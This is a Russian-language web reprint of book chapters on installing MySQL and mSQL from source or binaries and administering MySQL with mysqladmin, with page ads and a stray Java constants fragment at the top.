static public final int NULL;

static public final int NUMERIC;

static public final int OTHER;

static public final int REAL;

static public final int REF;

static public final int SMALLINT;

static public final int STRUCT;

static public final int TIME;

static public final int TIMESTAMP;

static public final int TINYINT;

static public final int VARBINARY;

static public final int VARCHAR; }

Поиск книг в интернет магазине Болеро

Поиск DVD в интернет магазине DVD DOM
Внимание! Money-Hunting.Ru - Интересная Online Игра с Денежными Призами.


  • Глава №3. Установка
    • MySQL
    • mSQL

Глава №3.

Установка

Подобно большинству сервисов, СУБД MySQL и mSQL работают как фоновые процессы, в Unix-системах называемые также демонами. В данной главе обсуждается процесс их распаковки и установки.

MySQL

Прежде чем начать установку MySQL, нужно ответить на пару вопросов.

  1. Собираетесь ли вы устанавливать MySQL как пользователь root или какой-либо другой пользователь?

    MySQL не требует для своей работы прав суперпользователя, но при установке с правами root вы даете каждому пользователю вашей системы доступ к одному экземпляру программы. Если у вас нет прав суперпользователя, установку придется произвести в свой исходный каталог. Однако, даже если вы установите MySQL как суперпользователь, лучше запускать под другим логином. Благодаря этому данные вашей базы данных можно защитить от других пользователей, установив для конкретных пользователей MySQL права только чтения файлов данных. Кроме того, при компрометации защиты базы данных нарушитель получает доступ только к учетной записи отдельного пользователя MySQL, не имеющей привилегий за пределами базы данных.

  2. Будете ли вы устанавливать MySQL из исходного кода или откомпилированных модулей?

Имеется много откомпилированных двоичных пакетов MySQL. Это экономит время, но уменьшает возможности настройки при установке. Для установки из исходного кода вам потребуется компилятор С и другие инструменты разработчика. Если они у вас имеются, то преимущества установки из исходного кода обычно перевешивают мелкие неудобства.

Эти два вопроса взаимосвязаны. При установке из двоичного пакета вы должны быть зарегистрированы как root. Установка из двоичного пакета использует некоторые данные о путях, зашитые в двоичные файлы, что вынуждает вас регистрироваться при установке как тот, кто создал прекомпилирован-ный пакет. MySQL позволяет задать параметры командной строки, переопределяющие эти пути, но обычно меньше хлопот доставляет установка из исходного кода.

В любом случае сначала необходимо получить дистрибутив.

Таблица 3-1. Список серверов Интернета, с которых можно взять экземпляр исходного кода или двоичных файлов MySQL

Азия
Корея | KREONet | http://linux.kreonet.re.hr/mysql/
Япония | Soft Agency | http://www.softagency.co.jp/MySQL/
 | Nagoya Syouka University | http://mirror.nucba.ac.jp/mirror/mysql/
 | Nagoya Syouka University | ftp://mirror.nucba.ac.jp/mirror/ mysql/
 | HappySize | http://www.happysize.co.jp/mysql/
 | HappySize | ftp://ftp.happysize.co.jp/pub/mysql/
Сингапур | HJC | http://mysql.hjc.edu.sg/
 | HJC | ftp://ftp.hjc.edu.sg/mysql/
Тайвань | NCTU | http://mysql.taconet.com.tw/
 | TTN | http://mysql.ttn.net
Австралия
Австралия | AARNet/Queensland | http://mirror.aarnet.edu.au/mysql/
 | AARNet/Queensland | ftp://mirror.aarnet.edu.au/pub/ mysql/
 | Blue Planet/Melbourne | http://mysql.bluep.com
 | Blue Planet/Melbourne | ftp://mysql.bluep.com/pub/mirrorl/ mysql/
 | Tas | http://ftp.tas.gov.au/mysql/
 | Tas | ftp://ftp.tas.gov.au/pub/mysql/
Африка
Южная Африка | The Internet Solution/ Johannesburg | ftp://ftp.is.co.za/linux/mysql/
Европа
Австрия | University of Technology/Vienna | http://gd.tuwien.ac.at/db/mysql/
 | University of Technology/Vienna | ftp://gd.tuwien.ac.at/db/mysql/
Болгария | Naturella | ftp://ftp.ntrl.net/pub/mirror/mysql/
Дания | Ake | http://mysql.ake.dk
 | SunSITE | http://sunsite.auc.dk/mysql/
 | SunSITE | ftp://sunsite.auc.dk/pub/databases/ mysql/
Эстония | Tradenet | http://mysql.tradenet.ee
Финляндия | EUnet | http://mysql.eunet.fi
Франция | Minet | http://www.minet.net/devel/mysql/
Германия | Bonn University, Bonn | http://www.wipol.uni-bonn.de/ MySQL/
 | Bonn University, Bonn | http://www.wipol.uni-bonn.de/ MySQL/
 | Wolfenbuettel | http://www.fh-wolfenbuettel.de/ftp/ pub/database/ mysql/
 | Wolfenbuettel | ftp://ftp.fh-wolfenbuettel.de/pub/ database/ mysql/
 | Staufen | http://mysql.staufen.de
Греция | NTUA, Athens | http://www.ntua.gr/mysql/
 | NTUA, Athens | ftp://ftp.ntua.gr/pub/databases/
Венгрия | Xenia | http://xenia.sote.hu/ftp/mirrors/
 | Xenia | ftp://xenia.sote.hu/pub/mirrors/
Израиль | Netvision | http://mysql.netvision.net.il
Италия | Teta Srl | http://www.teta.it/mysql/
Польша | Sunsite | http://sunsite.icm.edu.pl/mysql/
 | Sunsite | ftp://sunsite.icm.edu.pl/pub/unix/
Португалия | lerianet | http://mysql.leirianet.pt
 | lerianet | ftp://ftp.leirianet.pt/pub/mysql/
Россия | DirectNet | http://mysql.directnet.ru
 | IZHCOM | http://mysql.udm.net
 | IZHCOM | http://mysql.udm.net
Румыния | Bucharest | http://www.lbi.ro/MySQL/
 | Bucharest | ftp://ftp.lbi.ro/mirrors/ftp.tcx.se
 | Timisoara | http://www.dnttm.ro/mysql/
 | Timisoara | ftp://ftp.dnttm.ro/pub/mysql
Швеция | Sunet | http://ftp.sunet.se/pub/unix/ databases/ relational/ my sql/
 | Sunet | ftp://ftp.dnttm.ro/pub/mysql
 | тcх | http://www.tcx.se
 | тcх | ftp://www.tcx.se
 | тcх | http://www.mysql.com (Primary Site)
 | тcх | ftp://ftp.mysql.com (Primary Site)
Англия | Omnipotent/UK | http://mysql.omnipotent.net
 | Omnipotent/UK | ftp://mysql.omnipotent.net
 | PHG/UK | http://ftp.plig.org/pub/mysql/
 | PliG/UK | ftp://ftp.plig.org/pub/mysql/
Украина | РАСО | http://mysql.paco.net.ua
 | РАСО | ftp://mysql.paco.net.ua
Северная Америка
Канада | Tryc | http://web.tryc.on.ca/mysql/
США | Circle Net/North Carolina | http://www.mysql.net
 | DIGEX | ftp://ftp.digex.net/pub/database/
 | Gina net/Florida | http://www.gina.net/mysql/
 | Hurricane Electric/San Jose | http://mysql.he.net
 | Netcasting/West Coast | ftp://ftp.netcasting.net/pub/mysql/
 | Phoenix | http://phoenix.acs.ttu.edu/mysql/
 | pingzero/Los Angeles | http://mysql.pingzero.net
Южная Америка
Чили | Amerikanclaris | http://www.labs.amerikanclaris.cl/
 | vision | http://mysql.vision.cl

Подключившись к серверу FTP, войдите в каталог Downloads. В нем будут перечислены несколько версий MySQL, например:

MySQL-3.21

MySQL-3.22

MySQL-3.23

Самый высокий номер версии соответствует нестабильному выпуску, в котором производится добавление и проверка новых характеристик. Отдельные подверсии его будут иметь пометки 'alpha', 'beta' или 'gamma'. Предыдущая версия является текущей стабильной версией. Эта версия тщательно проверена и считается свободной от ошибок. Доступны также более ранние архивные версии.

Если разрабатываемая версия находится на этапе 'alpha', вам определенно следует придерживаться стабильной версии, если только вы не любитель острых ощущений. В случае когда разрабатываемая версия находится на стадии 'beta', возможно, следует выбрать предыдущую версию, если только в новой версии нет крайне необходимых для вас характеристик или устойчивость системы, на которой вы работаете, не очень критична. С другой стороны, версией 'gamma' можно уверенно пользоваться при отсутствии в ней известных конфликтов с вашей системой.

Вы можете точно проверить, на какой стадии находится конкретная версия MySQL, перейдя в ее каталог. Например, каталог MySQL-3.22 может выглядеть следующим образом:

mysql-3.22.19-beta-sgi-irix6,4-mip.tgz

mysql-3.22.21a-beta-ibm-aix4.2.1.0-rs6000.tgz

mysql-3.22.31-pc-linux-gnu-i586.tgz

mysql-3.22.33-sun-solaris2.6-sparc.tgz

mysql-3.22.33.tar.gz

Файлы, имена которых включают названия машин и операционных систем, являются двоичными версиями для этих систем. Если название машины не указано, как в последней строке, то это исходный код. Если к файлу не присоединена метка 'alpha', 'beta' или 'gamma' - это стабильная версия. Что касается двух последних файлов списка, то первый - откомпилированная версия для Sun Solaris на машине Spare, а последний - исходный код. Прочие, более старые версии существуют, поскольку у команды разработчиков не всегда есть время и возможность откомпилировать каждую подверсию MySQL на каждой существующей операционной системе и аппаратной конфигурации. В действительности, большая часть прекомпилированных версий предоставлена обычными пользователями, которым удалось успешно откомпилировать последнюю версию на своей системе.

Зная это, вы можете теперь выбрать версию MySQL, которую хотите использовать, и загрузить исходный код, если собираетесь компилировать MySQL, или двоичный дистрибутив для вашей машины, если он существует. Когда отсутствует двоичный дистрибутив, точно соответствующий вашей конфигурации, проверьте, нет ли его для слегка отличной конфигурации. Например, mysql-3.22.32a-ibm-aix4.2.1.0-powerpc.tgz может работать также на версии AIX 4.1.4 на том же типе машин. Если вы не можете таким образом подобрать работающую версию, попробуйте поискать в более старых версиях MySQL. Если и это не удастся, придется компилировать исходный код. В случае успешной компиляции и запуска MySQL можно предоставить откомпилированные двоичные файлы команде разработчиков MySQL для включения в архив.

Установка из исходного кода

Загрузив дистрибутив с исходным кодом, распакуйте архив с помощью команды:

gunzip - с mysql-x.xx.xx.tar.gz | tar xvf -

где mysql-x. xx. xx . tar. gz - имя загруженного вами файла. В результате в рабочем каталоге будет создан каталог mysql-x. xx. xx. Перейдите в него. Запустите сценарий configure в рабочем каталоге. Вызовите его как . /configure, чтобы случайно не запустить программу с тем же именем, находящуюся где-либо в другом месте. Во многих случаях установка прекрасно проходит без задания каких-либо параметров, но при возникновении трудностей можно использовать многочисленные параметры, информацию о которых можно вывести на экран, задав ключ -help. Вот наиболее употребительные:

--without-server

В результате компилируются все имеющиеся клиенты MySQL, но не сервер.

-prefix

Устанавливается каталог инсталляции, отличный от каталога по умолчанию (/usr/ local/ ).

-with-low-memory

Эта опция запрещает компилятору использовать некоторые виды оптимизации, требующие много памяти при компиляции. С ее помощью устраняется большинство ошибок, связанных с нехваткой памяти при компиляции.

-localstatedir

Используется для назначения каталога для файлов базы данных, отличающегося от принятого по умолчанию (/usr/local/var).

-with-charset

Используется для выбора набора символов, отличного от принятого по умолчанию (lati.nl). На момент написания книги доступны наборы символов big5, danish, cp1251, cp1257, croat, czech, dec8, dos,

euc_kr, germanl, Hebrew, hp8, hungarian, koi8_ru, koi8_ukr, latin1, Iatin2, swe7, usa7, win1251, win1251u, kr, ujis, sjis, tis620.

После завершения выполнения сценария configure запустите make в рабочем каталоге. В результате будет произведена полная компиляция.

По завершении компиляции команда make install установит все в нужное место.

Если вы впервые устанавливаете на данной машине MySQL или все файлы баз данных MySQL были удалены после предыдущей инсталляции, выполните следующую команду, чтобы создать структуру баз данных и административные таблицы:

./scripts/mysql_install_db

При этом запустится также демон сервера. Чтобы убедиться в том, что он работает, перейдите в инсталляционный каталог (по умолчанию / usr/local/) и введите команду:

./bin/mysqladmin version

На экран будет выведено что-то, близкое к следующему:

mysqladmin Ver 7.11 Distrib 3.22.23b, for linux on 1586

TCX Datakonsult AB, by Monty

Server version 3.22.23b-debug

Protocol version 10

Connection Localhost via UNIX socket

UNIX socket /tmp/mysql.sock

Uptime: 6 sec

Threads: 1 Questions: 1 Slow queries: 0 Opens: 6 Flush tables: 1 Open

tables: 2 Memory in use: 1093K Max memory used: 1093K

Итак, последовательность шагов установки такова:

gzip - с mysql-x.xx. xx. tar. gz | tar xvf -

cd mysql-x.xx.xx

./configure

make

make install

./scripts/mysql_install_db

./bin/mysqladmin version

Установка двоичного дистрибутива

Загрузив двоичный дистрибутив, вы должны выбрать каталог для установки файлов MySQL. Чаще всего выбирается /usr/local/mysql, но это в значительной мере зависит от потребностей ваших пользователей, и имеющихся у вас прав доступа.

Перейдите в каталог на уровень выше, чем тот, в котором вы хотите разместить дистрибутив MySQL. Например, если вы хотите использовать /usr/local/mysql, перейдите в /usr/local. Для распаковки дистрибутива выполните команду:

gunzip - с /tmp/mysql-x.xx.xx-fflymac/line. tgz | tar xvf -

Здесь /tmp - имя каталога, в который вы загрузили дистрибутив MySQL, a mysql-x.xx.xx-mymachine.tgz - имя загруженного файла.

В результате в текущем каталоге будет создан каталог mysql-x.xx.xx mysql. Если вы хотите, чтобы файлы были просто в каталоге mysql, создайте связь:

In - s mysql-x.xx.xx mysql

Теперь проверьте, содержит ли двоичный пакет таблицы назначения прав доступа. Перейдите в каталог mysql/mysql. Если он не существует или пуст, вам придется создать таблицы самому. Вернитесь назад, на один уровень, в главный каталог установки mysql и выполните команду:

scripts/mysql_install_db

Эту команду нужно выполнить только один раз. Для запуска демона MySQL введите:

bin/safe_mysqld --log &

Чтобы убедиться, что демон правильно работает, введите:

bin/mysqladmin version

Ответ должен быть примерно таким:

Mysqladmin Ver 6.3 Distrib 3.21.33, for sun-solaris2.6 on spare

TCX Datakonsult AB, by Monty

Server version 3.21.17-alpha

Protocol version 10

Connection Localhost via UNIX socket

TCP Port 3333

UNIX socket /tmp/mysql.sock

Uptime: 13 sec

Running threads: 1 Questions: 20 Reloads: 2 Open Tables: 3

mSQL

Первым шагом в установке mSQL является получение дистрибутива исходного кода. На момент написания этой книги самые новые версии mSQL распределялись только с веб-страницы Hughes Technology на http://www.hughes.com.avl . Автор mSQL предпочел официально не распространять двоичные дистрибутивы mSQL. Если на вашей машине нет компилятора С, то вам следует либо установить его, либо скомпилировать на такой же машине с той же операционной системой и перенести результат.

Полученный дистрибутив с исходным кодом mSQL распакуйте командой:

gunzip - с msql-2.0.4.1.tar.gz | tar xvf -

В результате в рабочем каталоге будет образован каталог с именем msq 1-2.0.4.1. Перейдите в него.

Создайте на своей машине инсталляционный каталог командой:

make target

Теперь перейдите в каталог targets. В нем должен быть новый каталог с названием вашей операционной системы и платформы, например, Solaris-2.6-Spare или Linux-2.0. 33-1386. Перейдите в этот каталог.

В рабочем каталоге запустите сценарий setup. Лучше запустите его как . /setup, чтобы командный процессор не запустил программу setup из какого-нибудь другого каталога. Сценарий сконфигурирует исходный код для компиляции. После выполнения сценария рассмотрите файл site.mm и измените необходимые параметры для настройки своей локальной установки. В частности, вы, возможно, захотите изменить переменную INST_DIR, задающую каталог, в который устанавливается mSQL. Если конфигурация вас устраивает, для компиляции mSQL выполните команду:

make all

После компиляции установите mSQL в выбранный вами каталог с помощью команды:

make install

Вся последовательность шагов при инсталляции выглядит следующим образом:

gzip - с msql-x.x.x.tar.gz tar xvf -

cd msql-x.x.x

make target

cd targets/myOS-mymachine

./setup

make all

make install

Болеро
Видео, Музыка, Программы, Игрушки, Книги, Подарки. Доставка курьером, почтой.

Digita.ru
Интернет-Магазин:
Современная Аудио- и Видеотехника.

Gimi.Ru:
бытовая техника, посуда, увлажнители и ионизаторы воздуха, эпиляторы, электро- и гидромассажеры

Porta.Ru
Цифровое Аудио, Фото и Видео, Компьютеры и Связь, Часы, Переводчики и др.


  • Глава №4. MySQL
    • Проект
    • Установка MySQL
    • Запуск MySQL
    • Администрирование базы данных
    • Утилиты MySQL
    • Настройка производительности

Глава №4.

MySQL

MySQL является, возможно, самым ярким программным проектом после выхода Linux. В то время как mSQL заслуживает уважения за то, что столкнула дело управления базами данных с мертвой точки, MySQL умело воспользовалась моментом. Сейчас она не больше и не меньше, как серьезный конкурент большим СУБД в области разработки баз данных малого и среднего масштаба. В самом начале MySQL просто стала заменой устаревающему ядру mSQL версии 1. Как отмечалось в Главе 1, признаки старения mSQL проявились в виде проблем со стабильностью и неспособностью удовлетворить растущие требования, которые обрушились на нее благодаря успеху. MySQL использовала основы проекта mSQL и теперь превосходит ее по набору характеристик и одновременно по производительности.

Проект

Опираясь на наследство, полученное от mSQL, TcX решила, что MySQL должна быть не медленнее mSQL, обладая при этом большим набором возможностей. В то время mSQL задавала тон в производительности баз данных, так что задачу себе ТсХ поставила непростую. Особыми целями проектирования MySQL были скорость, надежность и простота использования. Чтобы достичь такой производительности, в ТсХ приняли решение сделать многопоточным внутренний механизм MySQL. Многопоточное приложение одновременно выполняет несколько задач - так, как если бы одновременно выполнялось несколько экземпляров приложения.

Сделав MySQL многопоточной, ТсХ дала пользователям много выгод. Каждое входящее соединение обрабатывается отдельным потоком, при этом еще один всегда выполняющийся поток управляет соединениями, поэтому клиентам не приходится ждать завершения выполнения запросов других клиентов. Одновременно может выполняться любое количество запросов. Пока какой-либо поток записывает данные в таблицу, все другие запросы, требующие доступа к этой таблице, просто ждут, пока она освободится. Клиент может выполнять все допустимые операции, не обращая внимания на другие одновременные соединения. Управляющий поток предотвращает одновременную запись какими-либо двумя потоками в одну и ту же таблицу.

Такая архитектура, конечно, более сложна, чем однопоточная архитектура mSQL. Однако выигрыш в скорости благодаря одновременному выполнению нескольких запросов значительно превосходит потери скорости, вызванные увеличением сложности.

Другое преимущество многопоточной обработки присуще всем многопоточным приложениям. Несмотря на то что потоки совместно используют память процесса, они выполняются раздельно. Благодаря этому разделению выполнение потоков на многопроцессорных машинах может быть распределено по нескольким ЦП. На рис. 4-1 показана эта многопоточная природа сервера MySQL.

Рис. 4-1. Клиент-серверная архитектура MySQL

Помимо выигрыша в производительности, полученного благодаря многопоточности, MySQL поддерживает большее подмножество SQL, чем mSQL. MySQL поддерживает более десятка типов данных, а также функции SQL. Ваше приложение может получить доступ к этим функциям через команды ANSI SQL.

MySQL фактически расширяет ANSI SQL несколькими новыми возможностями. В их числе новые функции (ENCRYPT, WEEKDAY, IF и другие), возможность инкрементирования полей (AUTO_INCREMENT и LAST_INSERT_ID), а также возможность различать верхний и нижний регистры.

ТсХ намеренно опустила некоторые возможности SQL, встречающиеся в больших базах данных. Наиболее заметно отсутствие транзакций и встроенных процедур. Как и Дэвид Хьюз в mSQL, ТсХ решила, что реализация этих возможностей нанесет слишком сильный удар по производительности. Однако ТсХ продолжает работу в этом направлении, но так, чтобы от потери производительности страдали только те пользователи, которым такие возможности действительно необходимы.

С 1996 года ТсХ использует MySQL в среде, где имеется более 40 баз данных, содержащих 10 000 таблиц. Из этих 10 000 более 500 таблиц имеют, в свою очередь, более 7 миллионов записей - около 100 Гбайт данных.

Установка MySQL

Прежде чем использовать MySQL, ее необходимо установить. MySQL работает почти на любой известной Unix-платформе, а также под управлением Windows 9x, Windows NT и OS/2. Для Windows 9x и Windows NT требуется приобрести лицензию. Если вы хотите лишь протестировать работу этой СУБД, имеется более старая бесплатная версия.

Дистрибутив MySQL существует как в двоичном виде, так и в виде исходного текста. Если вы не прочь внести свой вклад в проект MySQL, добавить к нему свои усовершенствования или просто не можете найти двоичного дистрибутива для своей платформы, то необходимо взять дистрибутив с исходным кодом. Большинству пользователей, впрочем, следует брать двоичный дистрибутив. Самые свежие дистрибутивы - двоичные и в виде исходных текстов - можно найти на http://www.mysql.com

Если вы получите дистрибутив в виде исходного текста, то перед установкой нужно его скомпилировать. В любом случае следует руководствоваться инструкциями, имеющимися в дистрибутиве.

Запуск MySQL

Как правило, сервер баз данных работает постоянно. В конце концов, какой смысл иметь базу данных, если нельзя получить данные. ТсХ создавала MySQL, имея это в виду, поэтому MySQL работает под Unix как демон, и как служба — под Windows NT. В Windows 95 есть только грубый аналог, реализуемый помещением ярлыка исполняемого приложения в папку Автозагрузка (StartUp). Важной особенностью работы под Windows 95 является то, что при создании каждого потока происходит утечка примерно 200 байт оперативной памяти. Поэтому под Windows 95 не следует надолго оставлять MySQL работающей. К Windows 98 и Windows NT это не относится.

Запуск MySQL осуществляется с помощью сценария safe_mysqld. Под Unix этот файл устанавливается по умолчанию как /usr/local/bin/ safe_mysqld. Это сценарий для командного процессора Борна, и вы можете редактировать его, чтобы изменять принятые по умолчанию параметры. Все параметры, которые вы зададите в safe_mysqld, будут переданы непосредственно демону MySQL.

MySQL — ветвящийся демон. Когда вы ее запускаете, программа создает свою копию и выполняется как фоновый процесс. Поэтому вам не нужно ничего делать, чтобы заставить MySQL выполняться в фоновом режиме. Если же для запуска MySQL вы используете сценарий safe_mysqld, то вы должны перевести его в фоновый режим:

/usr/local/mysql/bin/safe_mysqld &

Причина, по которой вы должны запускать safe_mysqld в фоновом режиме (и по которой нужно запускать именно safe_mysqld, а не mysqld) в том, что сценарий safe_mysqld запускает mysqld, а затем непрерывно проверяет, выполняется ли mysqld. Если выполнение MySQL неожиданно прекратится, safe_mysqld ее перезапустит.

Теперь, когда вы знаете, как запускать MySQL, нужно сделать так, чтобы MySQL стартовала и заканчивала работу вместе с компьютером, на котором она выполняется. Под Windows NT, конечно, достаточно установить MySQL как службу. Под Windows 9x нужно поместить ярлык сценария запуска MySQL в папку Startup. Под Unix, как и почти всегда бывает в этом мире, заставить MySQL стартовать и завершаться вместе с системой несколько сложнее. Unix-системы обычно ищут сценарии начального запуска где-то в каталоге /etc - в /etc/rc.d или /etc/ init.d. Вы должны узнать у системного администратора или в документации, куда именно нужно помещать сценарии запуска/завершения. Дистрибутив MySQL содержит в каталоге support_j'lies файл mysql.ser-ver. Этот сценарий и будет служить сценарием запуска/завершения.

Администрирование базы данных

Теперь, когда у вас есть свежеустановленная и запущенная MySQL, нужно первым делом поменять пароль суперпользователя сервера, выполнив из каталога, в который установлена MySQL, команду:

./bin/mysqladmin -u root password 'mynewpasswd'

При работающей и защищенной MySQL вы можете заняться некоторыми начальными задачами администрирования, чтобы MySQL смогла начать вам служить.

Утилита mysqladmin

Главным инструментом администрирования баз данных в MySQL служит утилита mysqladmin. С ее помощью вы можете создавать, уничтожать и контролировать свой сервер и поддерживаемые им базы данных.

Создание баз данных

Ваш сервер бесполезен, пока нет баз данных, которые он обслуживает. С помощью mysqladmin можно создавать новые базы данных:

mysqladmin -p create DATABASENAME

Параметр -р указывает, что вы хотите, чтобы было выдано приглашение для ввода пароля суперпользователя, который вы задали раньше. Если вы введете правильный пароль, то mysqladmin создаст новую пустую базу данных с именем, которое вы указали. Поскольку в MySQL база данных - это каталог с группой файлов, команда mysqladmin create создает новый каталог, который будет содержать файлы базы данных. Например, если вы создали базу данных с именем «mydata», в каталоге data, содержащемся в директории, в которую установлена MySQL, будет создан каталог mydata.

Поскольку базы данных и таблицы MySQL хранятся как файлы файловой системы, вы столкнетесь с неприятными различиями -в поведении реализаций для Unix и Win32. Именно, все файловые системы для Win32 нечувствительны к регистру, в то время как файловые системы Unix различают регистр. В результате имена баз данных и таблиц различаются по регистру в Unix и не различаются в Win32.

Удаление базы данных

В процессе разработки приложения вам, вероятно, потребуется создать несколько баз данных для поддержки процесса разработки. Например, обычной практикой в разработке приложений баз данных является создание отдельных баз данных для разработки, тестирования и работы. По завершении разработки следует избавиться от этих промежуточных баз данных. Утилита mysqladmin позволяет удалить базу данных с помощью параметра «drop»:

mysqladmin -p drop DATABASENAME

Как и в команде mysqladmin create, DATABASENAME является именем базы данных, которую нужно уничтожить. MySQL не позволит вам случайно удалить базу данных. После ввода этой команды она предупредит вас, что удаление базы данных потенциально очень опасно и попросит вас подтвердить свое намерение. После удаления базы данных вы можете убедиться в том, что в каталоге data больше нет каталога, служившего ранее этой базой данных.

Переименование и копирование баз данных

В MySQL нет утилиты для переименования и копирования баз данных. Поскольку база данных - это просто файлы в некотором каталоге, можно, соблюдая осторожность, переименовывать и копировать базы данных с помощью операционной системы. Хотя использование команд операционной системы позволяет переименовывать и копировать базы данных, результат не сохранит параметров защиты исходных таблиц, поскольку MySQL хранит данные по защите в таблице системной базы данных. Для того чтобы полностью скопировать базу данных, вам потребуется также продублировать ее информацию по защите, хранимую в системной базе данных MySQL. Мы подробнее рассмотрим систему защиты MySQL далее в этой главе.

Состояние сервера

В утилите mysqladmin очень много команд, позволяющих контролировать состояние сервера MySQL. Ввод команды mysqladmin status обеспечивает выдачу состояния сервера в одной строке, которая выглядит следующим образом:

Uptime: 395 Threads: 1 Questions: 14 Slow queries: 0

Opens: 10 Flush tables: 1 Open tables: 6

Выводимые величины означают следующее: Uptime

Число секунд, в течение которых сервер запущен и работает. Threads

Число потоков, взаимодействующих с базой в данный момент. Вы всегда увидите хотя бы один поток - тот, который подсчитывает все остальные потоки. Сервер имеет также три других потока, невидимых данной команде, - один обрабатывает сигналы, другой управляет всеми другими потоками и третий ждет входящих соединений.

Questions

Число запросов, переданных базе данных с момента запуска.

Slow queries

Число запросов, выполнение которых потребовало больше времени, чем время, указанное в конфигурации. Соответствующий ключ в конфигурации - long_query_tiroe . Мы рассмотрим параметры конфигурации далее в этой главе.

Opens

Число таблиц, открытых с момента запуска сервера.

Flush tables

Количество команд flush, refresh и reload.

Open tables

Число таблиц, открытых в данный момент. Поскольку MySQL мно-гопоточна, каждая таблица одновременно может быть открыта несколько раз. Например, можно одновременно выполнять любое число команд SELECT по одной и той же таблице. По этой причине число открытых таблиц может быть больше, чем общее число таблиц в системе.

Если компиляция MySQL производилась с параметром --with-debug , то mysqladmin status показывает также текущую и максимальную величину используемой памяти.

Если вас интересует более общая статическая информация, то выполните команду mysqladmin version. Она выдает на экран следующее:

bin/mysqladmin Ver 7.8 Distrib 3.22.17, for sun-solaris2.6 on spare TCX Datakonsult AB, by Monty

Server version 3.22.17

Protocol version 10

Connection Localhost via Unix socket

Unix socket /tmp/;ny3ql. sock

Uptime: 23 mm 58 sec

Threads: 1 Questions: 15 Slow queries: 0 Opens: 10 Flush tables: 1 Open tables: 6

Последняя строка совпадает, конечно, с теми данными, которые показывает mysqladmin status. Остальные данные совершенно другие.

Server version

Версия запущенного сервера MySQL. Protocol version

Версия коммуникационного протокола MySQL, который поддерживает сервер. Если у вас возникли трудности с инструментарием, который использует коммуникационный протокол MySQL, вы можете сравнить это значение с тем, которое ожидает ваша программа.

Connection

Метод подключения к серверу. В нашем примере клиент общается с MySQL через сокет Unix. Если вы обращаетесь к удаленному серверу, в этой позиции будет имя машины, с которой вы подключились.

Unix socket

Имя файла сокета, который вы используете для обмена данными с сервером. Если вы связываетесь с MySQL через TCP/IP, вместо этого пункта будет указан пункт TCP port с номером порта MySQL.

Uptime

Суммарное время работы сервера.

Две другие команды, mysqladmin variables и mysqladmin extended-status, предлагают дополнительную информацию.

Поскольку MySQL многопоточна, отследить активность процесса с помощью команды Unix ps не просто. Несмотря на то что выполняется несколько потоков, в списке процессов будет указан только один процесс. MySQL позволяет справиться с этим с помощью команды mysqladmin processlist, которая перечисляет все активные потоки в виде чудесно представленной таблички:

Здесь точно указано, чем занят каждый процесс. Выдаваемые величины имеют следующий смысл:

Id

Внутренний идентификационный номер потока. Это значение не имеет отношения к каким-либо системным ID процессов. Вы можете использовать это число в команде mysqladmin kill, чтобы завершить поток.

User

Пользователь, подключенный к серверу через этот поток.

Host

Имя узла, с которого подключился пользователь.

db

База данных, к которой подключен пользователь.

Command

Тип команды, выполняемой потоком. Команда может иметь один из следующих типов:

Sleep

Поток ждет ввода пользователя. Большинство процессов должно находиться в этом состоянии.

Quit

Поток в процессе завершения.

Init DB

Поток готовит выбранную базу к взаимодействию. Клиент одновременно может обмениваться данными только с одной базой, но переключение между базами можно осуществить в любой момент.

Query

Поток выполняет реальный запрос. Хотя наибольшая часть взаимодействия с базой данных происходит в виде запросов, эти команды производятся очень быстро и редко появляются в выдаче.

Field list

Поток создает список полей в таблице.

Create DB

Поток создает новую базу данных.

Drop DB

Поток удаляет базу данных.

Reload

Поток перезагружает таблицы доступа MySQL. После перезагрузки все новые потоки будут использовать обновленные таблицы доступа.

Shutdown

Поток находится в процессе завершения всех других потоков и закрытия сервера.

Statistics

Поток генерирует статистику.

Processes

Этот поток анализирует другие потоки. С этим значением будет показан поток, выполняющий данную команду.

Connect

Поток в процессе установления входящего соединения с клиентом.

Kill

Этот поток завершает другой поток.

Refresh

Поток очищает все буферы и сбрасывает журнальные файлы.

Файлы журналов MySQL дают еще один способ получения полезной информации для администрирования сервера. MySQL создает главный журнал, если mysqld запускается с параметром --log. Этот журнал ведется в файле /usr/local/var/HOSTNAME.log, где HOSTNAME - имя машины, на которой запущен MySQL. В этот журнал записываются подключения к серверу и команды, посылаемые ему клиентами.

Задав параметр -debug для mysqld (или safe_mysqld), вы заставите MySQL посылать в журнал дополнительную информацию. Пакет отладки, используемый MySQL, имеет десятки параметров, большинство из которых вы никогда не будете использовать. Наиболее часто используется установка -d:t:o,FILENAME, где FILENAME - имя журнала отладки, который вы хотите использовать. При задании этого параметра в журнал будут заноситься практически все действия сервера, шаг за шагом.

MySQL поддерживает еще один журнал, пригодный для чтения. Если запустить MySQL с параметром -log-update, будет создан файл с именем HOSTNAME. #, где HOSTNAME имя машины, a #- уникальное число. В этом журнале содержатся все изменения, вносимые в таблицы баз данных. Этот журнал создается в виде SQL, поэтому все операции можно воспроизвести на другом сервере баз данных.

Завершение работы сервера

Следующая команда производит корректное завершение работы сервера MySQL:

mysqladmin -p shutdown

Эта команда - самый правильный способ завершения работы сервера. Если вы запустили MySQL с помощью safe_mysqld и пытаетесь закрыть сервер каким-либо другим способом, safe_mysqld просто запустит еще один экземпляр сервера. Можно также безопасно закрыть сервер традиционной Unix-командой kill, но никогда не пользуйтесь kill-9.

Параметры командной строки для mysqladmin

Утилита mysqladmin - очень богатый инструмент со множеством параметров командной строки. Общий ее формат

mysqladmin OPTIONS COMMAND1 COMMAND2 . . . COMMANDn

Иными словами, можно одновременно задавать несколько команд. Будет выполнена даже такая последовательность команд как, скажем,

mysqladmin -p create silly drop silly

Эта команда одним махом создаст и уничтожит базу данных «silly». Вот перечень команд, которые можно передать mysqladmin:

create DATABASENAME

Создает новую базу данных с указанным именем.

drop DATABASENAME

Удаляет базу данных с указанным именем.

extended-status

Выдает расширенное сообщение о статусе сервера.

flush-hosts

Немедленно записывает все буферизованные изменения на удаленных компьютерах.

flush-logs

Немедленно записывает все буферизованные изменения в журналы.

flush-tables

Немедленно записывает все буферизованные изменения в таблицы.

flush-privileges

То же, что reload.

killID1,ID2.....IDn

Завершает потоки с заданными IDs.

password NEWPASSWORD

Заменяет пароль на новое значение.

ping

Проверяет, работает ли еще mysqld.

processlist

Выдает список активных потоков.

reload

Заново загружает все таблицы доступа.

refresh

Записывает буферизованные изменения во все таблицы и закрывает и открывает все журналы.

shutdown

Завершает работу сервера.

status

Выдает краткое сообщение о состоянии сервера.

variables

Выдает значения имеющихся переменных.

version

Выдает данные о версии сервера.

Кроме команд поддерживаются также следующие параметры:

-# LOG

